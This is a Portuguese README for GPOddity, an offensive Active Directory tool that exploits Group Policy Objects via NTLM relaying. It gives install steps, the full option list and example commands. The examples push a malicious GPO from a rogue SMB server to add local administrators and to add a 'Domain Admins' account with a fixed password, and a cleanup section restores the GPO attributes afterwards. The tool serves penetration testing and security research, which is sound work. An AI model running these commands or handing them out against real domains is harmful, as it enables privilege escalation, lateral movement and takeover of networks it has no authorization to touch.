
Automatiza a exploração de GPO do Active Directory via relaying NTLM, permitindo geração maliciosa de modelos de GPO, falsificação de localização e execução de comandos para escalada de privilégios e movimento lateral.
O projeto GPOddity, que visa automatizar vetores de ataque a GPOs através de retransmissão NTLM (e mais).
Para mais detalhes sobre o ataque e uma demonstração de como usar a ferramenta, veja o artigo associado disponível em: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more
Você pode instalar o GPOddity via pipx com o seguinte comando:
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity
Alternativamente, você pode instalar o GPOddity manualmente clonando o repositório e instalando as dependências:
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt
$ python3 gpoddity.py --help
Usage: gpoddity.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ General options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --domain TEXT The target domain [default: None] [required] │
│ * --gpo-id TEXT The GPO object GUID without enclosing brackets (for instance, '1328149E-EF37-4E07-AC9E-E35920AD2F59') [default: None] [required] │
│ * --username TEXT The username of the user having write permissions on the GPO AD object. This may be a machine account (for instance, 'SRV01$') [default: None] [required] │
│ --password TEXT The password of the user having write permissions on the GPO AD object [default: None] │
│ --hash TEXT The NTLM hash of the user having write permissions on the GPO AD object, with the format 'LM:NT' [default: None] │
│ --dc-ip TEXT [Optional] The IP of the domain controller if the domain name can not be resolved. [default: None] │
│ --ldaps [Optional] Use LDAPS on port 636 instead of LDAP │
│ --verbose [Optional] Enable verbose output │
│ --just-clean [Optional] Only perform cleaning action from the values specified in the file of the --clean-file flag. May be useful to clean up in case of incomplete │
│ exploitation or ungraceful exit │
│ --clean-file TEXT [Optional] The file from the 'cleaning/' folder containing the values to restore when using --just-clean flag. Relative path from GPOddity install folder, or │
│ absolute path │
│ [default: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Malicious Group Policy Template generation options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command TEXT The command that should be executed through the malicious GPO [default: None] │
│ --powershell [Optional] Use powershell instead of cmd for command execution │
│ --gpo-type [user|computer] [Optional] The type of GPO that we are targeting. Can either be 'user' or 'computer' [default: computer] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Group Policy Template location spoofing options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip TEXT The IP address or DNS name of the server that will host the spoofed malicious GPO. If using the GPOddity smb server, this should be the IP address of │
│ the current host on the internal network (for instance, 192.168.58.101) │
│ [default: None] │
│ --rogue-smbserver-share TEXT The name of the share that will serve the spoofed malicious GPO (for instance, 'synacktiv'). If you are running the embedded SMB server, do NOT provide │
│ names including 'SYSVOL' or 'NETLOGON' (protected by UNC path hardening by default) │
│ [default: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ SMB server options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name TEXT [Optional] The name of a valid domain machine account, that will be used to perform Netlogon authentication (for instance, SRV01$). If │
│ omitted, will use the user specified with the --username option, and assume that it is a valid machine account │
│ [default: None] │
│ --machine-pass TEXT [Optional] The password of the machine account if specified with --machine-name [default: None] │
│ --machine-hash TEXT [Optional] The NTLM hash of the machine account if specified with --machine-name, with the format 'LM:NT' [default: None] │
│ --comment TEXT [Optional] Share's comment to display when asked for shares [default: None] │
│ --interface TEXT [Optional] The interface on which the GPOddity smb server should listen [default: 0.0.0.0] │
│ --port TEXT [Optional] The port on which the GPOddity smb server should listen [default: 445] │
│ --smb-mode [embedded|forwarded|none] [Optional] 'Embedded' SMB server will host an SMB server on this machine. 'Forwarded' will forward SMB traffic to a fake Domain Controller │
│ (requires a machine account associated with a DNS record pointing to the attacker machine. Generated GPT should be uploaded on the fake │
│ DC). 'None' will not host any SMB server (generated GPT should be uploaded on a writable SMB share in the domain) │
│ [default: embedded] │
│ --empty-gpo [Optional] By default, GPOddity will clone the target GPO and add a malicious immediate task. If this flag is specified, an empty GPO will │
│ be used instead of a clone of the legitimate one (can be useful for some edge cases in which immediate tasks will not integrate well with │
│ existing GPOs) │
│ --attacker-ip TEXT [Optional] The IP of the attacker machine in the internal network (required for smb-mode 'forwarded') │
│ --forwarded-ip TEXT [Optional] The IP of the fake DC to which SMB traffic will be forwarded (required for smb-mode 'forwarded') │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Abaixo estão alguns exemplos de comandos retirados do artigo mencionado acima.
Explorando um GPO de Computador para adicionar um administrador local. O modo SMB é 'embutido': o GPOddity hospedará o GPT em seu servidor SMB embutido.
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'
Explorando um GPO de Usuário para adicionar um administrador local. O modo SMB é 'nenhum': o GPOddity criará o GPT malicioso, e você então terá que carregá-lo para um compartilhamento de domínio gravável
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
--rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'
Explorando um GPO de Usuário para adicionar um administrador local. O modo SMB é 'encaminhado': você terá que adicionar um registro DNS apontando para a máquina do GPOddity, associado a uma conta de máquina. Você terá que fornecer o endereço IP de um DC falso cuja senha esteja sincronizada com a conta de máquina, e carregar o GPT malicioso para esse DC falso. Para mais informações sobre este modo, veja minha palestra no Black Alps 2024 (disponível em breve).
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'
Uma das vantagens de usar o GPOddity reside na possibilidade de explorar GPOs com segurança, sem alterar arquivos GPT legítimos, minimizando assim os riscos de interrupção em ambientes de produção. No entanto, o GPOddity ainda precisa modificar alguns atributos dos arquivos do Container de Política de Grupo para falsificar temporariamente a localização do GPT. Como resultado, garantir que o ambiente de produção permaneça funcional pressupõe reverter essas alterações após a exploração.
Por padrão e conforme explicado no artigo, o GPOddity fará isso por você, revertendo qualquer alteração realizada no GPC ao final da exploração, quando o usuário interrompe o programa com CTRL+C. Como resultado, em condições normais, você não precisa fazer nada para garantir que tudo seja limpo.
No entanto, se por algum motivo você não conseguir sair do GPOddity de forma adequada através de um CTRL+C (processo morto, perda de conexão de rede, etc.), você pode iniciar o GPOddity com a flag '--just-clean' para realizar ações de limpeza de forma independente.
Este recurso funciona da seguinte forma. Cada vez que o GPOddity é executado, o estado inicial do GPO será salvo em um arquivo no caminho cleaning/[GPO ID]/[timestamp].txt. Você pode então restaurar todos os valores contidos neste arquivo de salvamento através da flag '--just-clean'. Por exemplo, suponha que você queira restaurar todos os atributos do GPO com ID '46993522-7D77-4B59-9B77-F82082DE9D81' para seus valores antes de executar o GPOddity em 14 de outubro de 2023 às 08:08:44. Você pode executar o seguinte comando:
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt
